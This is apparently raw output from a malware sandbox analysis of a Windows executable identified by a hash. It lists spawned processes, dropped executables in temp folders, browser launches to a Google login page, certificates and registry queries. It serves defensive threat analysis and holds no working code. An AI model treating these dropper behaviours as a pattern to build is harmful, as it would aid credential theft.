string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00003236-00000C2B-242584068] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003236-00000C2B-243097172] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003236-00000C2B-243118425] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00003236-00000C2B-243161996] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003236-00000C2B-243189405] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00003236-00000C2B-243315712] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00003236-00000C2B-243591733] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll" [Source: 00000000-00003236-00000C2B-243665256] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll" [Source: 00000000-00003236-00000C2B-243749610] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" [Source: 00000000-00003236-00000C2B-243851160] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" [Source: 00000000-00003236-00000C2B-243919588]4f:T5f7,Spawned process "ca8Oc89.exe" (UID: 00000000-00005632) Spawned process "JA0VX88.exe" (UID: 00000000-00005852) Spawned process "CF3Mr43.exe" (UID: 00000000-00005792) Spawned process "1SX49Ye8.exe" (UID: 00000000-00005628) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00005576) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:275457 /prefetch:2" (UID: 00000000-00005656) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:209934 /prefetch:2" (UID: 00000000-00005336) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:472074 /prefetch:2" (UID: 00000000-00004304) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:406560 /prefetch:2" (UID: 00000000-00003988) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:1192974 /prefetch:2" (UID: 00000000-00004324) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:472118 /prefetch:2" (UID: 00000000-00000512) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:4011041 /prefetch:2" (UID: 00000000-00000780) Spawned process "2QO3391.exe" (UID: 00000000-00001184) Spawned process "AppLaunch.exe" (UID: 00000000-00002996) Spawned process "7xN51gn.exe" (UID: 00000000-00003420) Spawned process "8Cg883Yu.exe" (UID: 00000000-00003848) Spawned process "AppLaunch.exe" (UID: 00000000-00003236) Spawned process "9zc6iD1.exe" (UID: 00000000-00003368) Spawned process "AppLaunch.exe" (UID: 00000000-00002532)50:T5f7,Spawned process "ca8Oc89.exe" (UID: 00000000-00005632) Spawned process "JA0VX88.exe" (UID: 00000000-00005852) Spawned process "CF3Mr43.exe" (UID: 00000000-00005792) Spawned process "1SX49Ye8.exe" (UID: 00000000-00005628) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00005576) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:275457 /prefetch:2" (UID: 00000000-00005656) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:209934 /prefetch:2" (UID: 00000000-00005336) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:472074 /prefetch:2" (UID: 00000000-00004304) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:406560 /prefetch:2" (UID: 00000000-00003988) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:1192974 /prefetch:2" (UID: 00000000-00004324) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:472118 /prefetch:2" (UID: 00000000-00000512) Spawned process "iexplore.exe" with commandline "SCODEF:5576 CREDAT:4011041 /prefetch:2" (UID: 00000000-00000780) Spawned process "2QO3391.exe" (UID: 00000000-00001184) Spawned process "AppLaunch.exe" (UID: 00000000-00002996) Spawned process "7xN51gn.exe" (UID: 00000000-00003420) Spawned process "8Cg883Yu.exe" (UID: 00000000-00003848) Spawned process "AppLaunch.exe" (UID: 00000000-00003236) Spawned process "9zc6iD1.exe" (UID: 00000000-00003368) Spawned process "AppLaunch.exe" (UID: 00000000-00002532)51:Tb80,The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 64:D6:F8:4D:6D:41:DD:C8:84:FF:B5:AF:E5:36:6E:EB:F1:FD:B9:4B; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: A9:3F:6E:0B:AD:3D:D0:80:52:15:1D:D5:E8:C7:78:BA:77:A7:82:4B; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 08:B7:74:FE:04:FE:EA:92:57:A6:BB:56:D1:74:4D:6D:60:A5:CA:A8; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 7F:BD:C4:A9:13:6A:32:2C:09:53:6F:2F:97:E8:F1:5A:19:20:23:E7; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 36:C6:15:F5:21:0B:24:21:0E:72:00:85:DD:C6:59:8A:81:39:9C:5F; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 8F:33:44:C1:4F:FF:DA:A3:A2:B2:FA:E6:4C:C6:3A:F0:6A:92:62:5F; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US" (SHA1: 7D:F4:E0:1F:3C:13:B0:8A:C2:C8:2D:01:59:61:58:E3:EF:2D:F2:13; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 1B:51:1A:BE:AD:59:C6:CE:20:70:77:C0:BF:0E:00:43:B1:38:26:12; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B7:40:25:17:EE:AA:C8:0A:B0:46:81:18:6E:82:47:BD:78:51:CD:0A; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 M04, O=Amazon, C=US" (SHA1: EE:C1:BD:4E:34:75:3D:C4:2D:EA:58:F4:C4:BE:80:F1:E7:A2:AE:4E; see report for more information)52:T29bf,"ca8Oc89.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\ca8Oc89.exe]- [targetUID: 00000000-00005716] "1SX49Ye8.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\1SX49Ye8.exe]- [targetUID: 00000000-00005628] "JA0VX88.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\JA0VX88.exe]- [targetUID: 00000000-00005632] "CF3Mr43.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\IXP002.TMP\CF3Mr43.exe]- [targetUID: 00000000-00005852] "9zc6iD1.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP000.TMP\9zc6iD1.exe]- [targetUID: 00000000-00005716] "8Cg883Yu.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP001.TMP\8Cg883Yu.exe]- [targetUID: 00000000-00003848] "2QO3391.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\IXP003.TMP\2QO3391.exe]- [targetUID: 00000000-00001184] "7xN51gn.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386"- Location: [%TEMP%\IXP002.TMP\7xN51gn.exe]- [targetUID: 00000000-00005852] "index-BiFHpatU_1_.js" has type "Unknown"- [targetUID: N/A] "aMkGD-8HiTDKPLHk_H0DDsxgo-3469oiGT9DWDYPz6DhfgQe914iiBfD-GevAmvU9KONMKn3YhINqU49pVNahkCkvx2I9b7Pb8K_1_.css" has type "Unknown"- [targetUID: N/A] "identifier_3_.htm" has type "Unknown"- [targetUID: N/A] "identifier_2_.htm" has type "Unknown"- [targetUID: N/A] "identifier_1_.htm" has type "Unknown"- [targetUID: N/A] "login_1_.htm" has type "Unknown"- [targetUID: N/A] "api_1_.js" has type "Unknown"- [targetUID: N/A] "MLA8CZTC.htm" has type "HTML document ASCII text with very long lines (57239) with CRLF line terminators"- [targetUID: N/A] "dinosaur_1_.png" has type "Unknown"- [targetUID: N/A] "imagestore.dat" has type "Unknown"- [targetUID: N/A] "75A092F4522006A97542D6AC4F4E69D2" has type "Unknown"- [targetUID: N/A] "595CD0DCED5F6DE43A9C77C525C44511" has type "Unknown"- [targetUID: N/A] "9C69E496D546F49A980D7350EC49A180" has type "Unknown"- [targetUID: N/A] "KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWub2bVmUiAw_1_.woff" has type "Unknown"- [targetUID: N/A] "KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWubEbVmUiAw_1_.woff" has type "Unknown"- [targetUID: N/A] "_F24C21DE-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "main_1_.js" has type "Unknown"- [targetUID: N/A] "~DF7D5A630ABCCEC4EF.TMP" has type "Unknown"- [targetUID: N/A] "~DF1668CE42C328867A.TMP" has type "Unknown"- [targetUID: N/A] "~DF0CF5690E644EB9A3.TMP" has type "Unknown"- [targetUID: N/A] "ay1hV6OlegS_1_.ico" has type "Unknown"- [targetUID: N/A] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Unknown"- [targetUID: N/A] "en-US.4" has type "Unknown"- [targetUID: N/A] "~DF04116DACBDD0E417.TMP" has type "Unknown"- [targetUID: N/A] "~DFF1324023548D3C34.TMP" has type "Unknown"- [targetUID: N/A] "~DF4F6489E0892B7072.TMP" has type "Unknown"- [targetUID: N/A] "~DFCC2C49C4F08C6B1B.TMP" has type "Unknown"- [targetUID: N/A] "~DF59483E108DDEC01A.TMP" has type "Unknown"- [targetUID: N/A] "~DF91B2DFABA4B3D114.TMP" has type "Unknown"- [targetUID: N/A] "~DF5F1BE7CC567962D8.TMP" has type "Unknown"- [targetUID: N/A] "~DF1118A162859EFF0E.TMP" has type "Unknown"- [targetUID: N/A] "~DF580C3075353C0250.TMP" has type "Unknown"- [targetUID: N/A] "~DF992D77D5828A6431.TMP" has type "Unknown"- [targetUID: N/A] "~DF5D9C96AF237296FD.TMP" has type "Unknown"- [targetUID: N/A] "firefox_1_.png" has type "Unknown"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "Unknown"- [targetUID: N/A] "httpErrorPagesScripts_1_" has type "Unknown"- [targetUID: N/A] "_9D04DF61-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_9D04DF63-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "edgium_1_.png" has type "Unknown"- [targetUID: N/A] "login_2_.htm" has type "Unknown"- [targetUID: N/A] "RecoveryStore._9D04DF5F-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "chrome_1_.png" has type "Unknown"- [targetUID: N/A] "supported_browsers_1_.htm" has type "Unknown"- [targetUID: N/A] "epic-favicon-96x96_1_.png" has type "Unknown"- [targetUID: N/A] "_9D04DF62-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "favicon_2_.ico" has type "Unknown"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Unknown"- [targetUID: N/A] "_A42F6CD2-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_A42F6CD3-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_F24C21DD-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_A42F6CD6-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_A42F6CD4-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_A42F6CD5-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_9D04DF64-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_F24C21DC-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_F24C21DF-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "_F24C21DB-9A10-11F1-971B-005056911731_.dat" has type "Unknown"- [targetUID: N/A] "errorPageStrings_1_" has type "Unknown"- [targetUID: N/A] "SQLKZGG1R3HGW2C2T4F2.temp" has type "Unknown"- [targetUID: N/A] "googlelogo_color_74x24dp_1_.png" has type "Unknown"- [targetUID: N/A] "opera_1_.png" has type "Unknown"- [targetUID: N/A] "index-CfssTcG8_1_.css" has type "Unknown"- [targetUID: N/A] "dnserror_1_" has type "Unknown"- [targetUID: N/A] "B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92" has type "Unknown"- [targetUID: N/A] "8B2B9A00839EED1DFDCCC3BFC2F5DF12" has type "Unknown"- [targetUID: N/A] "BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894" has type "Unknown"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "Unknown"- [targetUID: N/A] "75CA58072B9926F763A91F0CC2798706_3AD253ACA02D44EA5FD30683B8A5B5FA" has type "Unknown"- [targetUID: N/A] "NewErrorPageTemplate_1_" has type "Unknown"- [targetUID: N/A] "CheckConnection_2_.htm" has type "Unknown"- [targetUID: N/A] "CheckConnection_1_.htm" has type "Unknown"- [targetUID: N/A] "DABA17F5E36CBE65640DD2FE24F104E7" has type "Unknown"- [targetUID: N/A] "05DDC6AA91765AACACDB0A5F96DF8199" has type "Unknown"- [targetUID: N/A] "892580777767344DCAEF580FFA143EA6_EF1B61DD3F93C58DBD0734F13C15C0F6" has type "Unknown"- [targetUID: N/A] "L5BKM8ES.txt" has type "Unknown"- [targetUID: N/A] "WOPDH9O0.txt" has type "Unknown"- [targetUID: N/A] "79IXEX4X.txt" has type "Unknown"- [targetUID: N/A] "5N2OHE4M.txt" has type "Unknown"- [targetUID: N/A] "JUZEOBO4.txt" has type "Unknown"- [targetUID: N/A] "FYXLLUV7.txt" has type "Unknown"- [targetUID: N/A] "4JTPB0SC.txt" has type "Unknown"- [targetUID: N/A] "6O5PWLXS.txt" has type "Unknown"- [targetUID: N/A] "UUWF3FS0.txt" has type "Unknown"- [targetUID: N/A] "B46811C17859FFB409CF0E904A4AA8F8" has type "Unknown"- [targetUID: N/A] "F5SG56NV.txt" has type "Unknown"- [targetUID: N/A] "NL0ENXOO.txt" has type "Unknown"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" has type "Unknown"- [targetUID: N/A] "59D76868C250B3240414CE3EFBB12518_8ACDC37113853DF6A8FE0487B7FA5E3E" has type "Unknown"- [targetUID: N/A] "D1BEC81CCAFDC823A062FF26A89A6B6D_B9B4646227E0866A0D172EA2B644DB92" has type "Unknown"- [targetUID: N/A] "6CAFE3B721B7CE350C58A8F3EB28AA44_C4935EE08CAA8E5372EBE50CFA866626" has type "Unknown"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F" has type "Unknown"- [targetUID: N/A] "2639FCAD701D8E4886058025FA4BACA6" has type "Unknown"- [targetUID: N/A] "F28CC103A764A74B222272A7D2BDDA5C" has type "Unknown"- [targetUID: N/A] "CXXJQ5AH.txt" has type "Unknown"- [targetUID: N/A] "26C212D9399727259664BDFCA073966E_912C3CA51DE6018A7BE4CA7BC64AAFCD" has type "Unknown"- [targetUID: N/A] "55D343B052AE566C8BF677731180E634" has type "Unknown"- [targetUID: N/A] "KOLQE6P7.txt" has type "Unknown"- [targetUID: N/A] "C30A8653A628E8368A1D33BB7E570E4E" has type "Unknown"- [targetUID: N/A] "VUSG9MKH.txt" has type "Unknown"- [targetUID: N/A] "CMF35GDS.txt" has type "Unknown"- [targetUID: N/A] "9CHO7LUV.txt" has type "Unknown"- [targetUID: N/A] "WMQYX827.txt" has type "Unknown"- [targetUID: N/A] "HDWPIQS8.txt" has type "Unknown"- [targetUID: N/A] "B0RWXC3E.txt" has type "Unknown"- [targetUID: N/A] "L945H4HQ.txt" has type "Unknown"- [targetUID: N/A] "BA8E834886E353ED96ACC8AB83273509" has type "Unknown"- [targetUID: N/A] "2A2PHZR6.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "5G3V2GDZ.txt" has type "Unknown"- [targetUID: N/A] "favicon_1_.htm" has type "Unknown"- [targetUID: N/A] "TMLO8YIR.txt" has type "Unknown"- [targetUID: N/A] "FNVEH4AR.txt" has type "Unknown"- [targetUID: N/A] "0LJB33FE.txt" has type "Unknown"- [targetUID: N/A] "CXW3F9D5.txt" has type "Unknown"- [targetUID: N/A] "S2NHDHT6.txt" has type "Unknown"- [targetUID: N/A] "7I3PZQPI.txt" has type "Unknown"- [targetUID: N/A] "4H4JI9T6.txt" has type "Unknown"- [targetUID: N/A] "UPUU53EE.txt" has type "Unknown"- [targetUID: N/A] "V1PN3DHO.txt" has type "Unknown"- [targetUID: N/A] "YO2C1704.txt" has type "Unknown"- [targetUID: N/A] "www.epicgames_1_.xml" has type "Unknown"- [targetUID: N/A] "bscframe_1_.htm" has type "Unknown"- [targetUID: N/A] "OIjsl4A27YL_1_.webp" has type "Unknown"- [targetUID: N/A] "~DFF1E0BBC6950A03E7.TMP" has type "Unknown"- [targetUID: N/A] "httpErrorPagesScripts_2_" has type "Unknown"- [targetUID: N/A] "errorPageStrings_2_" has type "Unknown"- [targetUID: N/A] "dnserror_2_" has type "Unknown"- [targetUID: N/A] "NewErrorPageTemplate_2_" has type "Unknown"- [targetUID: N/A] "UF575WV9.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "XWWQ0ORQ.htm" has type "gzip compressed data original size modulo 2^32 365"- [targetUID: N/A] "RIABMQOW.txt" has type "Unknown"- [targetUID: N/A] "5WNUOQPE.txt" has type "Unknown"- [targetUID: N/A] "M9GZPHAQ.txt" has type "Unknown"- [targetUID: N/A] "467KUYQW.txt" has type "Unknown"- [targetUID: N/A] "2A3Q5Q1V.txt" has type "Unknown"- [targetUID: N/A] "bscframe_2_.htm" has type "Unknown"- [targetUID: N/A]53:Tb94,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")54:T10d8,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "16280B24AFF31FCADD92C1FD9480C8992C3F2452DB9C28F9684EC1F2C4B04526"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: "SYSTEM"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: 